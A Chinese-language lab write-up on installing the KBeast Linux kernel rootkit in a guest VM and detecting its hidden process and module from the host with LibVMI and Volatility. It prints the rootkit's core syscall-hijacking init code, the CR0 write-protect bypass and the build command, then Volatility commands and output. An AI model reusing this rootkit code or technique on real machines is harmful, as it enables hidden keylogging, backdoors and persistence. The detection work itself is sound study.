Host Ubuntu 12.04 + Guest Ubuntu 10.04/11.04 + Libvmi + Volatility
其中Kbeast运行在Guest Ubuntu 10.04/11.04中,libvmi与volatility运行在Host Ubuntu12.04中。
以下是Kbeast实现的功能:
- 隐藏可加载模块(LKM)
- 隐藏文件/目录
- 隐藏进程(ps,pstree,top,lsof)
- 隐藏套接字和网络连接(netstat,lsof)
- 记录键盘操作捕获用户行为
- 反杀死进程
- 反移除文件
- 反删除可加载模块
- root提权后门
- 远程绑定后门
上述的Kbeast特性都是通过系统调用劫持实现的。在kernel 2.6.*之前,系统调用表"sys_call_table"是可以直接导出引用的,如:
extern void *sys_call_table[]; sys_call_table[__NR_syscall] = pointer
而在kernel 2.6.* 之后禁用了这种特性,并且其所在页是写保护的。然而,系统调用表依然在内存中,如果知道其所在内存地址,依然可以通过指针访问。内核中的符号表System.map (一般在/boot/目录下)记录了所有的符号及其地址,当然也包括系统调用表"sys_call_table". 以Ubuntu 10.04为例,执行:
grep sys_call_table /boot/System.map-2.6.32-21-generic
显示的结果为
c0592150 R sys_call_table
c0592150指的是线性地址,R说明此地址所在的页面Read-only。目前的CPU都会将CR0控制寄存器的第16位(wp-bit)置1,将页面开启保护模式,这时CPU处于"write-proteed"模式,否则处于"read/write"模式。CR0寄存器的位描述可参考 CR0 .
如果能将WP位置0,就可以访问内存页面,读写系统调用表了。 下面这行代码便可实现此功能:
write_cr0 (read_cr0 () & (~ 0x10000));
下载 Kbeast .
tar xzf ipsecs-kbeast-v1.tar.gz cd kbeast-v1 ./setup build 1
具体可参考/kbeast-v1/setup 文件,参数1表示默认为kernel 2.6.32。测试过ubuntu11.04 内核为2.6.38,setup出错,作者声称: Be kind to note that the beast has been tested in, but not limited to, kernel 2.6.9, 2.6.16, 2.6.18, 2.6.32, 2.6.35 (i386 or x86_64),理论上只要修改setup相关参数以及ipsecs-kbeast-vl.c文件中的系统调用表的地址即可适应其它版本内核,未测试。
成功编译后,kbeast就会加载到内核空间,rootkit安装在/usr/ h4x 路径下,生成/usr/ h4x /_h4x_bd进程,以及acctlog 记录文件, 路径以及文件名等参数可以在config.h文件中配置。当然在目标机器guest中无法找到相关文件,因为已经被隐藏了。下文会利用volatility检测到相关进程的路径。
Kbeast以LKM的方式存在,以下是其核心代码:
/*init module insmod*/ static int init(void) { //Uncomment to hide this module list_del_init(&__this_module.list); struct tcp_seq_afinfo *my_afinfo = NULL; //proc_net is disappeared in 2.6.32, use init_net.proc_net struct proc_dir_entry *my_dir_entry = init_net.proc_net->subdir; write_cr0 (read_cr0 () & (~ 0x10000)); if(_KEYLOG_){ o_read=(void *)sys_call_table[__NR_read]; sys_call_table[__NR_read]=h4x_read; } o_write=(void *)sys_call_table[__NR_write]; sys_call_table[__NR_write]=h4x_write; #if defined(__x86_64__) o_getdents=sys_call_table [__NR_getdents]; sys_call_table [__NR_getdents]=h4x_getdents; #elif defined(__i386__) o_getdents64=sys_call_table [__NR_getdents64]; sys_call_table [__NR_getdents64]=h4x_getdents64; #else #error Unsupported architecture #endif o_unlink = sys_call_table [__NR_unlink]; sys_call_table [__NR_unlink] = h4x_unlink; o_rmdir = sys_call_table [__NR_rmdir]; sys_call_table [__NR_rmdir] = h4x_rmdir; o_unlinkat = sys_call_table [__NR_unlinkat]; sys_call_table [__NR_unlinkat] = h4x_unlinkat; o_rename = sys_call_table [__NR_rename]; sys_call_table [__NR_rename] = h4x_rename; o_open = sys_call_table [__NR_open]; sys_call_table [__NR_open] = h4x_open; o_kill = sys_call_table [__NR_kill]; sys_call_table [__NR_kill] = h4x_kill; o_delete_module = sys_call_table [__NR_delete_module]; sys_call_table [__NR_delete_module] = h4x_delete_module; write_cr0 (read_cr0 () | 0x10000); while(strcmp(my_dir_entry->name, "tcp")) my_dir_entry = my_dir_entry->next; if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data)) { //seq_show is disappeared in 2.6.32, use seq_ops.show old_tcp4_seq_show = my_afinfo->seq_ops.show; my_afinfo->seq_ops.show = h4x_tcp4_seq_show; } return 0; }
首先将模块隐藏,取消CR0写保护,找到系统调用表地址,将其处理函数换成自己的函数,分别对应其中的特性。 如:
sys_call_table[__NR_read]=h4x_read; // log key sys_call_table[__NR_write]=h4x_write; // fake output ps,pstree,top,lsof sys_call_table [__NR_getdents]=h4x_getdents; //hide file and directory sys_call_table [__NR_unlink] = h4x_unlink; //Don't allow your file to be removed sys_call_table [__NR_rmdir] = h4x_rmdir; //Don't allow your directory to be removed sys_call_table [__NR_unlinkat] = h4x_unlinkat; //Don't allow your file and directory to be removed sys_call_table [__NR_rename] = h4x_rename; //Don't allow your file to be renamed/moved sys_call_table [__NR_open] = h4x_open; //Don't allow your file to be overwrited sys_call_table [__NR_kill] = h4x_kill; //Don't allow your process to be killed sys_call_table [__NR_delete_module] = h4x_delete_module;
检测之前,先按照上一篇 文章搭好环境。
以下是分别利用volatility的linux_psaux、linux_pslist、linux_pstree、linux_lsof、linux_proc_maps、linux_chech_modules插件检测出来的结果,能检测出其隐藏的进程、模块、进程间的关系以及所在路径。
python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_psaux | grep _h4x_bd Pid Uid Gid Arguments 2316 2 2 ./_h4x_bd python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_pslist | grep _h4x_bd Offset Name Pid Uid Gid DTB Start Time 0xf579e680 _h4x_bd 2316 2 2 0x357c5000 2016-04-01 21:41:29 UTC+0000 python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_pstree | grep _h4x_bd Name Pid Uid ._h4x_bd 2316 2 python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_pslsof | grep _h4x_bd Offset Name Pid FD Path 0x00000000f579e680 _h4x_bd 2316 1 /dev/pts/0 0x00000000f579e680 _h4x_bd 2316 2 /dev/pts/0 0x00000000f579e680 _h4x_bd 2316 3 socket:[11708] python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_proc_maps | grep _h4x_bd linux_proc_maps Offset Pid Name Start End Flags Pgoff Major Minor Inode File Path 0x00000000f579e680 2316 _h4x_bd 0x0000000000adb000 0x0000000000adc000 --- 0x153000 251 1 134375 /lib/tls/i686/cmov/libc-2.11.1.so 0x00000000f579e680 2316 _h4x_bd 0x0000000000adc000 0x0000000000ade000 r-- 0x153000 251 1 134375 /lib/tls/i686/cmov/libc-2.11.1.so 0x00000000f579e680 2316 _h4x_bd 0x0000000000ade000 0x0000000000adf000 rw- 0x155000 251 1 134375 /lib/tls/i686/cmov/libc-2.11.1.so 0x00000000f579e680 2316 _h4x_bd 0x0000000000adf000 0x0000000000ae2000 rw- 0x0 0 0 0 0x00000000f579e680 2316 _h4x_bd 0x0000000008048000 0x0000000008049000 r-x 0x0 251 1 136169 /usr/_h4x_/_h4x_bd 0x00000000f579e680 2316 _h4x_bd 0x0000000008049000 0x000000000804a000 r-- 0x1000 251 1 136169 /usr/_h4x_/_h4x_bd 0x00000000f579e680 2316 _h4x_bd 0x000000000804a000 0x000000000804b000 rw- 0x2000 251 1 136169 /usr/_h4x_/_h4x_bd 0x00000000f579e680 2316 _h4x_bd 0x00000000b7875000 0x00000000b7876000 rw- 0x0 0 0 0 0x00000000f579e680 2316 _h4x_bd 0x00000000b7884000 0x00000000b7886000 rw- 0x0 0 0 0 0x00000000f579e680 2316 _h4x_bd 0x00000000bfd84000 0x00000000bfd99000 rw- 0x0 0 0 0 [stack] python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_check_moudles | grep _h4x_bd Module Address Module Name 0xf805dae0 ipsecs_kbeast_v1
当要清除module时,执行./setup clean. 但仍然会残留一些文件,无法删除。
Checking for make : /usr/bin/make Removing Kernel Module Removing Compiled Kernel Module Stoping Network Daemon Removing Backdoor File rm: cannot remove `./_h4x_bd': Permission denied Removing Installation Directory rm: cannot remove `/usr/_h4x_/.ipsecs-kbeast-v1.o.cmd': Permission denied rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.o': Permission denied rm: cannot remove `/usr/_h4x_/.ipsecs-kbeast-v1.ko.cmd': Permission denied rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.ko': Permission denied rm: cannot remove `/usr/_h4x_/.tmp_versions/ipsecs-kbeast-v1.mod': Permission denied rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.mod.c': Permission denied rm: cannot remove `/usr/_h4x_/.ipsecs-kbeast-v1.mod.o.cmd': Permission denied rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.c': Permission denied rm: cannot remove `/usr/_h4x_/bd-ipsecs-kbeast-v1.c': Permission denied rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.mod.o': Permission denied rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.cc1': Permission denied
如转载本文请注明出处
作者[新浪微博:@diting0x]
http://volatility-labs.blogspot.com/2012/09/movp-15-kbeast-rootkit-detecting-hidden.html
http://cradpdf.drdc-rddc.gc.ca/PDFS/unc199/p801869_A1b.pdf
https://memset.wordpress.com/2010/12/03/syscall-hijacking-kernel-2-6-systems/